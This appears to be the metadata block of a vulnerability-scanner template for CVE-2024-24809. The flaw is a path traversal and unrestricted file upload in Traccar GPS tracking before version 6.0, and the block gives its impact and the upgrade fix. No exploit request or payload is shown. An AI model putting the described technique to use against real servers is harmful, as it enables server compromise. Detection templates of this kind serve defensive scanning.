id: CVE-2024-24809

info:
  name: Traccar - Unrestricted File Upload
  author: DhiyaneshDK
  severity: high
  description: |
    Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.
  impact: |
    Authenticated attackers can upload arbitrary files to any location on the server through path traversal, potentially achieving code execution and system compromise.
  remediation: |
    Update Traccar to version 6.0 or later.
